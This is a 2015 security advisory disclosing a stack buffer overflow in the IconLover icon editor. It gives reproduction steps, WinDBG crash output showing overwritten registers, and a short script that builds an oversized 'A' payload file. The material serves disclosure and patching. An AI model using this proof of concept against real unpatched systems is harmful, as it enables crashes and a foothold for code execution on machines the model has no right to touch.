Document Title: =============== IconLover v5.4.5 - Stack Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1609 Release Date: ============= 2015-09-28 Vulnerability Laboratory ID (VL-ID): ==================================== 1609 Common Vulnerability Scoring System: ==================================== 7.1 Product & Service Introduction: =============================== IconLover is a powerful, yet easy to use icon editor for making your own icons for any operating system, including Windows, Mac OS, UNIX, Android and iOS. It creates native Windows icons (ICO format) of all sizes, up to 768x768 used in Windows 10, and native MacOS icons (ICNS format) up to 1024x1024 pixels (this size is used in the latest Mac OS X versions). UNIX/Linux, Android and iOS use icons in PNG format which is fully supported by IconLover - you can create icons in this format from scratch or convert the existing Windows and Mac OS icons to PNG. (Copy of the Homepage: http://www.aha-soft.com/iconlover/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the IconLover v5.4.2 and v5.4.5 software. Vulnerability Disclosure Timeline: ================================== 2015-09-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== AHA-Soft Product: IconLover - Software (Windows) 5.42 and 5.45 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A stack buffer overflow vulnerability has been discovered in the official in the IconLover v5.4.2 and v5.4.5 software. The local vulnerability allows to overwrite the registers of the software process to compromise the target system. The vulnerability is located in the `File -> New Icon Lybrary` and `Lybrary -> Download` module. Local attackers are able to include a malicious unicode payload as `URL` (input) to crash the software via stack buffer overflow vulnerability. Local attackers are able to takeover the system process by escalate of privileges to compromise the local target system. The security risk of the stack buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Vulnerable Module(s): [+] File -> New Icon Lybrary > Lybrary -> Download Vulnerable Input(s): [+] Website Adress (URL) Proof of Concept (PoC): ======================= The local buffer overflow software vulnerability can be exploited by local attackers with low privilege system user accounts and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Copy a large unicode AAAA+... string from bof.txt to your clipboard 2. Run the IconLover.exe software 3. Click the File -> New Icon Lybrary option 4. Click the Lybrary and push the Download button 5. Paste it the input Website Adress (URL) AAAA+... string click ok and hide 6. Software will crash via stack buffer overflow. Now the attacker can overwrite the registers 7. Successful reproduce of the vulnerability! --- Debug Logs [WinDBG] --- Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=76db72cd esi=00000000 edi=00000000 eip=41414141 esp=0012f048 ebp=0012f068 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 41414141 ?? ??? 0:000> !exchain 0012f05c: ntdll!RtlRaiseStatus+c8 (76db72cd) 0012fa88: 41414141 Invalid exception stack at 41414141 0:000> d 0012fa88 0012fa88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fa98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012faa8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fab8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fac8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fad8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fae8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012faf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA PoC: Exploit.pl buffer = "x41"*10000 file = open("bof.txt","w") file.write(buffer) file.close() print "File Created" print " Contact msk4@live.fr" Security Risk: ============== The security risk of the local stack buffer overflow vulnerability in the IconLover v5.4.5 software is estimated as high. (CVSS 7.1) Credits & Authors: ================== ZwX (http://zwx.fr/) [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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